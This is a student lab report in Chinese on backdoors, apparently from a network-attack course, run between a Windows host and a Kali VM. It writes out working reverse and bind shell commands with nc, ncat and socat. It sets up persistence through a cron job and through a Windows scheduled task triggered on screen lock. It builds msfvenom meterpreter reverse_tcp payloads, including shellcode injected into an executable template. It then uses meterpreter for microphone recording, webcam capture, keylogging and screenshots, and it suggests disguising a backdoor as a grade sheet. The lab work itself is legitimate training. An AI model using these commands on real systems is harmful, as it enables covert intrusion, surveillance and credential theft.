20192204 Exp2-后门原理与实践

Posted 里龙王。

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了20192204 Exp2-后门原理与实践相关的知识,希望对你有一定的参考价值。

实验基础

本次实验需要我们掌握后门的基础知识,学习使用nc实现Windows,Linux之间的后门连接,学习使用Metaspolit的msfvenom指令生成简单的后门程序,学会MSF POST模块的应用。

基础知识

后门的概念

后门就是不经过正常认证流程而访问系统的通道。后门可能出现在编译器中、操作系统中,最常见的是应用程序中的后门,还可能是潜伏于操作系统中或伪装成特定应用的专用后门程序。

常用后门工具

NC和Netcat

底层工具,进行基本的TCP、UDP数据收发,常常被与其他工具结合使用,起到后门的作用。

在Linux系统中一般自带netcat,使用man nc命令可以查看使用帮助

在Windows系统中,需要下载ncat.rar,解压后可使用

Socat

相当于Netcat++,一个超级Netcat工具。
在Windows下可以下载socat.rar。

任何代理、转发等功能都可以用该工具实现。

Meterpreter

一个用来生成后门程序的程序。

它包含着后门的

基本功能(基本的连接、执行指令)

扩展功能(如搜集用户信息、安装服务等功能)

编码模式

运行平台

运行参数

它把后门的内容全部做成零件或可调整的参数,按需组合使用形成需要的可执行文件。

常见的Meterpreter程序有

intersect

Metaspolit的msfvenom指令

Veil-evasion

本次实验我们使用msfvenom指令生成后门可执行文件Meterpreter。

实验目标

1.使用netcat获取主机操作Shell,cron启动

2.使用socat获取主机操作Shell,任务计划启动

3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

5.使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

实验环境

主机:Windows 10

靶机:Kali Linux

首先在主机上面使用命令ipconfig查看主机ip为:192.168.1.110

在kali虚拟机上面使用命令ifconfig查看虚拟机ip为:192.168.174.131

实验过程

一、使用netcat获取主机操作Shell,启动cron

首先安装ncat.rar

在安装之后解压并打开文件夹,可以发现文件夹内没有ncat.exe,这是因为windows防火墙把可执行文件删除了。

打开windows defender,选择关闭公用网络下的防火墙:

再次下载即可发现可执行文件nact.exe:

配置环境变量以启用ncat,点击系统变量->path->新建,将ncat的解压目录写进去,然后保存环境变量即可:

在主机中使用ncat -l -p 2204(个人学号后四位)监听本机的2204端口,显示如下即说明ncat安装成功,可以使用:





在主机中获取虚拟机shell:

在虚拟机中使用nc 192.168.1.110 2204 -e /bin/sh连接主机反弹shell




成功在主机中获取虚拟机的shell





在虚拟机中获取主机shell:
在虚拟机中用nc -l -p 2204监听主机2204端口




在主机中用ncat -e cmd 192.168.174.131(虚拟机ip) 2204,成功获取到主机shell
(这里在连接成功后习惯性的打了一个ls命令,所以会有下面的提示)





回到虚拟机,发现成功获得了主机的shell:



在虚拟机中启动cron并在主机监听

先在虚拟机上用crontab -e指令编辑一条定时任务(crontab指令增加一条定时任务,-e表示编辑,输入2表示选择vim编辑器)




在最后一行添加4 * * * * nc 192.168.1.110 2204 -e /bin/sh,即在每个小时的第4分钟反向连接Windows主机的2204端口




在到达每小时4分的时候来到主机,输入命令ncat -l -p 2204对2204端口进行监听,成功获取虚拟机的shell



二、使用socat获取主机操作Shell,任务计划启动

在Linux获得Windows Shell

在Kali中用man socat查看使用说明




下载socat并同之前ncat操作一样配置环境变量,将socat的解压目录添加到系统的环境变量path中




在Windows中按Win+R,再输入compmgmt.msc打开计算机管理




在系统工具中的任务计划程序中创建任务




新建触发器选择在工作站锁定时开始任务:




新建操作为启动程序socat.exe,并添加参数tcp-listen:2204 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口2204,同时把cmd.exe的stderr重定向




使用快捷键win+R将主机锁屏

由于我们在之前ncat的下载及配置中已经关闭了防火墙,所以再次解锁主机时主机防火墙并不会预警,任务配置是否成功以虚拟机是否能获取主机shell为准。

解锁主机之后来到kali虚拟机,输入命令socat - tcp:192.168.1.110:2204(这里的ip地址为主机的ip地址)

成功获取到主机的shell:



三、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

在Kali上生成后门可执行程序20192204.exe

输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.174.131 LPORT=2204 -f exe > 20192204.exe,其中

LHOST为反弹回连的IP,在这里是要反弹给Kali,也就是Kali的IP

LPORT是回连的端口

-p 使用的payload。

payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode。

-f 生成文件的类型

> 输出到哪个文件




使用指令成功生成后门程序20192204.exe之后,使用主机打开命令行输入指令ncat -lv 2204 >20192204.exe接收虚拟机传来的后门程序并保存下来。




回到虚拟机开始传送后门程序到主机端




虚拟机传送后门程序完毕后回到主机,发现后门程序20192204.exe已经成功传送到主机上




在kali上使用msfconsole指令进入msf控制台

对msf控制台进行配置

依次输入以下命令

use exploit/multi/handler		#使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp		#使用和生成后门程序时相同的        payload
set LHOST 192.168.174.131			#KaliIP,和生成后门程序时指定的IP相同
set LPORT 2204




配置完成后的情况:




接着输入exploit进行监听,在Windows在打开20192204.exe后成功获取到Windows的shell(注意最好把所有杀毒软件退出,否则打开后门程序时很容易出现拒绝访问的情况)



四、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

获取目标主机音频

在之前进入的MSF exploit中输入record_mic指令进行录音(-d可设置时长)

成功保存录音




获取目标主机摄像头
输入webcam_snap指令控制摄像头进行拍照




run webcam可以进行屏幕录制,相当于不间断地用摄像头拍照片,并不断存储在一个jpg中,在文件系统中我们会看到一个在不断变化的jpg文件



获取击键记录
输入keyscan_start开始捕获键盘记录,keyscan_dump获取击键记录(-d可设置时长)

在主机百度输入“全国天气预报”,在kali的shell中成功显示主机的键盘输入记录“qaunguotianqiyubao”

截取主机屏幕

使用screenshot指令可以进行截屏

图中左上角以rw为命名开头的图片文件即为指令开始执行时主机的屏幕截图



五、使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

参考网上资料找到指令

msfvenom -p windows/meterpreter/reverse_tcp -x ./KiTTYPortable.exe -e x86/shikata_ga_nai -i 5 -b ‘\\x00’ LHOST=192.168.20.136 LPORT=443 -f exe > KiTTy_backdoor.exe


在参数说明中提到,-p使用的为有效载荷,由于我们是在x86下的linux系统,所以要改为linux/x86/meterpreter/reverse_tcp。

-x是可执行文件模板,shellcode会写入这个可执行文件中

LHOST、LPORT是ip地址和端口,我们把它改为192.168.174.131和2204

-f是生成文件的类型,我们把它改为二进制可执行文件elf

所以修改后的payload为

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.174.131 LPORT=2204 -x pwn1 -f elf > 20192204pwn

![](https://img2022.cnblogs.com/blog/1939381/202203/1939381-20220328200052153-1830824619.png)

输入msfconsole进入MSF控制台,由于此时获取的shell是在linux端,所以此处的配置指令对于之前有变动,应为:

use exploit/multi/handler		

set payload linux/x86/meterpreter/reverse_tcp

set LHOST 192.168.174.131		

set LPORT 2204	



再在msf中使用exploit监听,并在另一终端中打开之前生成的20192204pwn




成功获得回弹的shell




基础问题回答

例举你能想到的一个后门进入到你系统中的可能方式?

答:可以将后门伪装成学生成绩单,引诱学生点击下载压缩包,下载时压缩包里面的后门程序即可进入系统。

例举你知道的后门如何启动起来(win及linux)的方式?
答:
Windows
远程修改windows的任务计划以通过特定操作(例如锁屏)、特定时间启动后门程序

Linux
可以使用反弹shell的方式获取shell

Meterpreter有哪些给你印象深刻的功能?

首先给我印象最深刻的是meterpreter可以通过仅一行简短的代码就可以生成一个后门程序,这种快捷生成的后门程序也为本次实验的shell获取提供了很大便利。

如何发现自己有系统有没有被安装后门?
答:
在电脑做出特定动作(如锁屏时)若出现防火墙预警则说明电脑中被植入了以特定动作为准自动执行的后门程序。

或者在下载文件时出现了防火墙预警(某执行文件存在风险),所以说防止系统被植入后门程序的重要措施还是打开防火墙。


实验心得

本次实验可以说让我大开眼界,本次实验是我第一次体验到从一个主机通过植入后门程序等方式获得目标机的shell,从而完成对目标机的控制。

在本次实验的开始我成功实现了使用ncat在虚拟机中获得主机shell,以及在主机中获得虚拟机的shell,同时我还成功实现了如何在通过cron编辑定时任务,以实现虚拟机定期向主机发出链接,从而令主机获得虚拟机的shell。

在任务计划启动socat从而使得虚拟机获得主机的shell的实践中,我学会了在主机(靶机)中操作任务计划程序,当主机锁屏时启动socat程序,在linux中输入socat命令即可获取主机shell的操作。

在对MSF meterpreter的使用中,我发现了该软件的强大之处在于可以快速地生成功能较为完备的后门程序,同时温习了nc命令,使用nc命令将生成的后门程序传送到主机,在主机打开后门程序之后便可成功使用虚拟机获取到主机的shell,这种方法是我认为在本实验中较为接近现实、较为可行的获取目标机shell的方法。在shell获取成功之后,我实践了通过命令获取主机端的录音、拍照、录像、键盘记录、截屏等全方位信息,也让我了解到了当我们获取到一个主机的连接之后,我们几乎可以获取这个主机的任何信息(包括部分使用者的信息),再次让我见识到了meterpreter的强大之处。

以上是关于20192204 Exp2-后门原理与实践的主要内容,如果未能解决你的问题,请参考以下文章

2019-2020-2 20175303柴轩达 《网络对抗技术》Exp2 后门原理与实践

20155312 张竞予 Exp2 后门原理与实践

Exp2:后门原理与实践

Exp2 后门原理与实践

Exp2 MAL_后门原理与实践 20155214

20155218《网络对抗》Exp2 后门原理与实践